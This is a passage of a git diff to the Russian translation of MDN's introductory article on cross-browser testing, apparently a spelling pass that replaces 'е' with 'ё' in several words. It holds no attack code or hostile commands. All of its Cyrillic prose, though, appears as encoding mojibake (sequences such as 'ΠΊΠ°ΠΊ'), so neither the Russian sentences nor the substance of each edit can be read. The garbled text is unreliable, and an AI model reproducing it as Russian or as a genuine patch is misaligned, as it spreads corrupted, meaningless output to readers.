ΠΊΠ°ΠΊ Ρ‚Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ±ΡΡƒΠΆΠ΄Π°Π»ΠΈΡΡŒ Π² ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅.</dd>
</dl>
diff --git a/files/ru/learn/tools_and_testing/cross_browser_testing/introduction/index.html b/files/ru/learn/tools_and_testing/cross_browser_testing/introduction/index.html
index 6057b46650..4f02764c4f 100644
--- a/files/ru/learn/tools_and_testing/cross_browser_testing/introduction/index.html
+++ b/files/ru/learn/tools_and_testing/cross_browser_testing/introduction/index.html
@@ -9,7 +9,7 @@ translation_of: Learn/Tools_and_testing/Cross_browser_testing/Introduction
<div>{{NextMenu("Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies", "Learn/Tools_and_testing/Cross_browser_testing")}}</div>
-<p class="summary">Π­Ρ‚Π° ΡΡ‚Π°Ρ‚ΡŒΡ Π½Π°Ρ‡ΠΈΠ½Π°Π΅Ρ‚ ΠΌΠΎΠ΄ΡƒΠ»ΡŒ с ΠΎΠ±Π·ΠΎΡ€Π°Β Ρ‚Π΅ΠΌΡ‹ кросс-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π½ΠΎΠ³ΠΎ тСстирования, отвСчая Π½Π° Ρ‚Π°ΠΊΠΈΠ΅ вопросы ΠΊΠ°ΠΊ "Ρ‡Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ кросс-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π½ΠΎΠ΅ тСстированиС?", "с ΠΊΠ°ΠΊΠΈΠΌΠΈ распространСнными ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ°ΠΌΠΈ ΠΌΠΎΠΆΠ½ΠΎ ΡΡ‚ΠΎΠ»ΠΊΠ½ΡƒΡ‚ΡŒΡΡ?"Β ΠΈ "ΠΊΠ°ΠΊΠΈΠ΅ основныС подходы для тСстирования, обнаруТСния и исправлСния ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚?"</p>
+<p class="summary">Π­Ρ‚Π° ΡΡ‚Π°Ρ‚ΡŒΡ Π½Π°Ρ‡ΠΈΠ½Π°Π΅Ρ‚ ΠΌΠΎΠ΄ΡƒΠ»ΡŒ с ΠΎΠ±Π·ΠΎΡ€Π°Β Ρ‚Π΅ΠΌΡ‹ кросс-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π½ΠΎΠ³ΠΎ тСстирования, отвСчая Π½Π° Ρ‚Π°ΠΊΠΈΠ΅ вопросы ΠΊΠ°ΠΊ "Ρ‡Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ кросс-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π½ΠΎΠ΅ тСстированиС?", "с ΠΊΠ°ΠΊΠΈΠΌΠΈ распространёнными ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ°ΠΌΠΈ ΠΌΠΎΠΆΠ½ΠΎ ΡΡ‚ΠΎΠ»ΠΊΠ½ΡƒΡ‚ΡŒΡΡ?"Β ΠΈ "ΠΊΠ°ΠΊΠΈΠ΅ основныС подходы для тСстирования, обнаруТСния и исправлСния ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚?"</p>
<table class="learn-box standard-table">
<tbody>
@@ -26,11 +26,11 @@ translation_of: Learn/Tools_and_testing/Cross_browser_testing/Introduction
<h2 id="Π§Ρ‚ΠΎ_Ρ‚Π°ΠΊΠΎΠ΅_кросс-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π½ΠΎΠ΅_тСстированиС">Π§Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ кросс-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π½ΠΎΠ΅ тСстированиС?</h2>
-<p>ΠšΡ€ΠΎΡΡ-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π½ΠΎΠ΅ тСстированиС - это ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠ° обСспСчСния увСрСнности Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Π²Π΅Π±-сайты ΠΈ Π²Π΅Π±-прилоТСния, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ создаСтС, Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚Β Π² ΠΏΡ€ΠΈΠ΅ΠΌΠ»Π΅ΠΌΠΎΠΌ количСствС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ². ΠžΠ±ΡΠ·Π°Π½Π½ΠΎΡΡ‚ΡŒ Π²Π΅Π±-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° Π±Ρ‹Ρ‚ΡŒ ΡƒΠ²Π΅Ρ€Π΅Π½Π½Ρ‹ΠΌ,Β Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρƒ вас, Π° Ρƒ всСх Π²Π°ΡˆΠΈΡ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ, нСзависимо ΠΎΡ‚ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°, устройства, ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΡ… Π²ΡΠΏΠΎΠΌΠΎΠ³Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… инструмСнтов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ½ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚. Π’Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π΄ΡƒΠΌΠ°Ρ‚ΡŒ ΠΎ:</p>
+<p>ΠšΡ€ΠΎΡΡ-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π½ΠΎΠ΅ тСстированиС - это ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠ° обСспСчСния увСрСнности Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Π²Π΅Π±-сайты ΠΈ Π²Π΅Π±-прилоТСния, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ создаётС, Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚Β Π² ΠΏΡ€ΠΈΠ΅ΠΌΠ»Π΅ΠΌΠΎΠΌ количСствС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ². ΠžΠ±ΡΠ·Π°Π½Π½ΠΎΡΡ‚ΡŒ Π²Π΅Π±-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° Π±Ρ‹Ρ‚ΡŒ ΡƒΠ²Π΅Ρ€Π΅Π½Π½Ρ‹ΠΌ,Β Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρƒ вас, Π° Ρƒ всСх Π²Π°ΡˆΠΈΡ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ, нСзависимо ΠΎΡ‚ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°, устройства, ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΡ… Π²ΡΠΏΠΎΠΌΠΎΠ³Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… инструмСнтов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ½ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚. Π’Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π΄ΡƒΠΌΠ°Ρ‚ΡŒ ΠΎ:</p>
<ul>
<li>Π”Ρ€ΡƒΠ³ΠΈΡ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…. НС Ρ‚Π΅Ρ… Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ рСгулярно ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅,Β Π°Β ΠΎ довольно старых, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ люди ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΄ΠΎ сих ΠΏΠΎΡ€, ΠΈ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ соврСмСнныС возмоТности CSS ΠΈ JavaScript.</li>
- <li>Π Π°Π·Π½Ρ‹Ρ… устройствах с Ρ€Π°Π·Π½Ρ‹ΠΌΠΈ возмоТностями, начиная от послСдних Π»ΡƒΡ‡ΡˆΠΈΡ… ΠΏΠ»Π°Π½ΡˆΠ΅Ρ‚ΠΎΠ², смартфонов и "ΡƒΠΌΠ½Ρ‹Ρ…" Ρ‚Π΅Π»Π΅Π²ΠΈΠ·ΠΎΡ€ΠΎΠ², Π΄ΠΎ Π΄Π΅ΡˆΠ΅Π²Ρ‹Ρ… устройств ΠΈ самых старых смартфонов, Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ…Β Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹Β ΠΌΠΎΠ³ΡƒΡ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ с ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½Ρ‹ΠΌΠΈ возмоТностями.</li>
+ <li>Π Π°Π·Π½Ρ‹Ρ… устройствах с Ρ€Π°Π·Π½Ρ‹ΠΌΠΈ возмоТностями, начиная от послСдних Π»ΡƒΡ‡ΡˆΠΈΡ… ΠΏΠ»Π°Π½ΡˆΠ΅Ρ‚ΠΎΠ², смартфонов и "ΡƒΠΌΠ½Ρ‹Ρ…" Ρ‚Π΅Π»Π΅Π²ΠΈΠ·ΠΎΡ€ΠΎΠ², Π΄ΠΎ Π΄Π΅ΡˆΡ‘Π²Ρ‹Ρ… устройств ΠΈ самых старых смартфонов, Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ…Β Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹Β ΠΌΠΎΠ³ΡƒΡ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ с ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½Ρ‹ΠΌΠΈ возмоТностями.</li>
<li>Π›ΡŽΠ΄ΡΡ… с ΠΈΠ½Π²Π°Π»ΠΈΠ΄Π½ΠΎΡΡ‚ΡŒΡŽ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ Web с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π²ΡΠΏΠΎΠΌΠΎΠ³Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΉ, Ρ‚Π°ΠΊΠΈΡ… как скринридСры, ΠΈΠ»ΠΈ Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ ΠΌΡ‹ΡˆΡŒΒ (Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρƒ).</li>
</ul>
@@ -40,24 +40,24 @@ translation_of: Learn/Tools_and_testing/Cross_browser_testing/Introduction
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π‘Ρ‚Π°Ρ‚ΡŒΡ <a href="https://hacks.mozilla.org/2016/07/make-the-web-work-for-everyone/">сдСлаСм вСб доступным для всСх</a> прСдоставляСт Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ»Π΅Π·Π½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ люди, ΠΈΡ… Π΄ΠΎΠ»Π΅ Ρ€Ρ‹Π½ΠΊΠ° ΠΈ связанных с этим ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ°Ρ… совмСстимости Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ².</p>
</div>
-<p>ΠœΡ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΠΎΠ³ΠΎΠ²ΠΎΡ€ΠΈΡ‚ΡŒ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΠΎ Ρ‚Π΅Ρ€ΠΌΠΈΠ½ΠΎΠ»ΠΎΠ³ΠΈΠΈ. Для Π½Π°Ρ‡Π°Π»Π°, ΠΊΠΎΠ³Π΄Π° ΠΌΡ‹ Π³ΠΎΠ²ΠΎΡ€ΠΈΠΌ ΠΎ сайтах,Β "Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‰ΠΈΡ… кросс-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π½ΠΎΠΉ", Π½Π° самом Π΄Π΅Π»Π΅ ΠΌΡ‹ Π³ΠΎΠ²ΠΎΡ€ΠΈΠΌ ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΠ²Π°Ρ‚ΡŒ ΠΏΡ€ΠΈΠ΅ΠΌΠ»Π΅ΠΌΠΎΠ΅ удобство использования Π² Ρ€Π°Π·Π½Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…. Π­Ρ‚ΠΎ Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎ, Ссли сайт выглядит Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΠΏΠΎ-Ρ€Π°Π·Π½ΠΎΠΌΡƒ Π² Ρ€Π°Π·Π½Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, Π³Π»Π°Π²Π½ΠΎΠ΅ ΠΎΠ½ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΠ²Π°Ρ‚ΡŒ ΠΏΠΎΠ»Π½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ.Π’ соврСмСнных Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ… Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π°Π½ΠΈΠΌΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΌ ΠΈΠ»ΠΈΒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ 3D, Ρ‚ΠΎΠ³Π΄Π° ΠΊΠ°ΠΊ Π² старых Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ… Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅Β Π»ΠΈΡˆΡŒ ΠΏΠΎΠΊΠ°Π·Π°Ρ‚ΡŒ ΠΏΠ»ΠΎΡΠΊΡƒΡŽ ΠΊΠ°Ρ€Ρ‚ΠΈΠ½ΠΊΡƒ, ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΡƒΡŽ Ρ‚Ρƒ ΠΆΠ΅ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ. Если Π²Π»Π°Π΄Π΅Π»Π΅Ρ† сайта Π΄ΠΎΠ²ΠΎΠ»Π΅Π½, Π²Ρ‹ сдСлали своС Π΄Π΅Π»ΠΎ.</p>
+<p>ΠœΡ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΠΎΠ³ΠΎΠ²ΠΎΡ€ΠΈΡ‚ΡŒ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΠΎ Ρ‚Π΅Ρ€ΠΌΠΈΠ½ΠΎΠ»ΠΎΠ³ΠΈΠΈ. Для Π½Π°Ρ‡Π°Π»Π°, ΠΊΠΎΠ³Π΄Π° ΠΌΡ‹ Π³ΠΎΠ²ΠΎΡ€ΠΈΠΌ ΠΎ сайтах,Β "Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‰ΠΈΡ… кросс-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π½ΠΎΠΉ", Π½Π° самом Π΄Π΅Π»Π΅ ΠΌΡ‹ Π³ΠΎΠ²ΠΎΡ€ΠΈΠΌ ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΠ²Π°Ρ‚ΡŒ ΠΏΡ€ΠΈΠ΅ΠΌΠ»Π΅ΠΌΠΎΠ΅ удобство использования Π² Ρ€Π°Π·Π½Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…. Π­Ρ‚ΠΎ Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎ, Ссли сайт выглядит Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΠΏΠΎ-Ρ€Π°Π·Π½ΠΎΠΌΡƒ Π² Ρ€Π°Π·Π½Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, Π³Π»Π°Π²Π½ΠΎΠ΅ ΠΎΠ½ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΠ²Π°Ρ‚ΡŒ ΠΏΠΎΠ»Π½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ.Π’ соврСмСнных Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ… Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π°Π½ΠΈΠΌΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΌ ΠΈΠ»ΠΈΒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ 3D, Ρ‚ΠΎΠ³Π΄Π° ΠΊΠ°ΠΊ Π² старых Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ… Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅Β Π»ΠΈΡˆΡŒ ΠΏΠΎΠΊΠ°Π·Π°Ρ‚ΡŒ ΠΏΠ»ΠΎΡΠΊΡƒΡŽ ΠΊΠ°Ρ€Ρ‚ΠΈΠ½ΠΊΡƒ, ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΡƒΡŽ Ρ‚Ρƒ ΠΆΠ΅ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ. Если Π²Π»Π°Π΄Π΅Π»Π΅Ρ† сайта Π΄ΠΎΠ²ΠΎΠ»Π΅Π½, Π²Ρ‹ сдСлали своё Π΄Π΅Π»ΠΎ.</p>
<p>Π‘ Π΄Ρ€ΡƒΠ³ΠΎΠΉ стороны, ΠΏΠ»ΠΎΡ…ΠΎ, ΠΊΠΎΠ³Π΄Π° сайт ΠΏΠΎΠ»Π½ΠΎΡ†Π΅Π½Π½ΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ для ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹Ρ… людСй, Π½ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½Π½ΠΎ нСдоступСн для людСй, ΠΈΠΌΠ΅ΡŽΡ‰ΠΈΡ… ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ со Π·Ρ€Π΅Π½ΠΈΠ΅ΠΌ,Β Ρ‚.ΠΊ. ΠΈΡ… прилоТСния для чтСния экрана Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Ρ€Π°ΡΠΏΠΎΠ·Π½Π°Ρ‚ΡŒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ Π½Π° сайтС.</p>
<p>Когда ΠΌΡ‹ Π³ΠΎΠ²ΠΎΡ€ΠΈΠΌ "ΠΏΡ€ΠΈΠ΅ΠΌΠ»Π΅ΠΌΠΎΠ΅ количСство Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ²", ΠΌΡ‹ Π½Π΅ Π³ΠΎΠ²ΠΎΡ€ΠΈΠΌ, Ρ‡Ρ‚ΠΎ это Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ 100% всСх Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² Π² ΠΌΠΈΡ€Π΅ β€” это ΠΏΠΎΡ‡Ρ‚ΠΈ Π½Π΅Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠΎΠ±Ρ€Π°Ρ‚ΡŒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊΠΈΠΌΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹Β ΠΈ ΡƒΡΡ‚Ρ€ΠΎΠΉΡΡ‚Π²Π°Β ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ Π²Π°ΡˆΠΈΒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈ (это ΠΌΡ‹ обсудим Π²ΠΎ Π²Ρ‚ΠΎΡ€ΠΎΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅ β€” см.Β <a href="https://developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies#Gotta_test_%27em_all">Gotta test 'em all?</a>), Π½ΠΎ это Π½ΠΈΡ‡Π΅Π³ΠΎ Π½Π΅Β Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚. Как Π²Π΅Π±-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ для сСбя нСсколько Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² ΠΈ устройств, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΊΠΎΠ΄ Π΄ΠΎΠ»ΠΆΠ΅Π½ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ, Π½ΠΎ ΠΊΡ€ΠΎΠΌΠ΅ этого, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΠΈΡΠ°Ρ‚ΡŒ ΠΊΠΎΠ΄ Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ были способны максимально ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ваш сайт (defensive coding). Π­Ρ‚ΠΎ ΠΎΠ΄Π½Π° ΠΈΠ· самых Π±ΠΎΠ»ΡŒΡˆΠΈΡ… ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ Π²Π΅Π±-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ.</p>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: ΠœΡ‹ Ρ€Π°Π·Π±Π΅Ρ€Π΅ΠΌ defensive coding ΠΏΠΎΠ·ΠΆΠ΅ Π² этом ΠΌΠΎΠ΄ΡƒΠ»Π΅.</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: ΠœΡ‹ Ρ€Π°Π·Π±Π΅Ρ€Ρ‘ΠΌ defensive coding ΠΏΠΎΠ·ΠΆΠ΅ Π² этом ΠΌΠΎΠ΄ΡƒΠ»Π΅.</p>
</div>
<h2 id="ΠŸΠΎΡ‡Π΅ΠΌΡƒ_Π²ΠΎΠ·Π½ΠΈΠΊΠ°ΡŽΡ‚_кросс-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π½Ρ‹Π΅_ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹">ΠŸΠΎΡ‡Π΅ΠΌΡƒ Π²ΠΎΠ·Π½ΠΈΠΊΠ°ΡŽΡ‚ кросс-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π½Ρ‹Π΅ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹?</h2>
-<p>Π•ΡΡ‚ΡŒ мноТСство ΠΏΡ€ΠΈΡ‡ΠΈΠ½, ΠΏΠΎΡ‡Π΅ΠΌΡƒ Π²ΠΎΠ·Π½ΠΈΠΊΠ°ΡŽΡ‚ кросс-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π½Ρ‹Π΅ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹, ΠΈ, Π·Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅, Ρ‡Ρ‚ΠΎ сСйчас ΠΌΡ‹ Π³ΠΎΠ²ΠΎΡ€ΠΈΠΌ ΠΎΒ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ°Ρ…, ΠΏΡ€ΠΈΒ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ…Β Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Π΅Ρ‰ΠΈ Π²Π΅Π΄ΡƒΡ‚ сСбя ΠΏΠΎ-Ρ€Π°Π·Π½ΠΎΠΌΡƒ Π² Ρ€Π°Π·Π½Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…Β / устройствах / настройках просмотра. ΠŸΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ Π²Ρ‹Β ΡΡ‚ΠΎΠ»ΠΊΠ½Π΅Ρ‚Π΅ΡΡŒ с ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ°ΠΌΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΡΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ всС ошибки Π² ΠΊΠΎΠ΄Π΅ (см.Β <a href="/ru/docs/Learn/HTML/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅_Π²_HTML/Debugging_HTML">ΠžΡ‚Π»Π°Π΄ΠΊΠ° HTML</a>, <a href="/ru/docs/Learn/CSS/Introduction_to_CSS/ΠžΡ‚Π»Π°Π΄ΠΊΠ°_CSS">ΠžΡ‚Π»Π°Π΄ΠΊΠ° CSS</a>, and <a 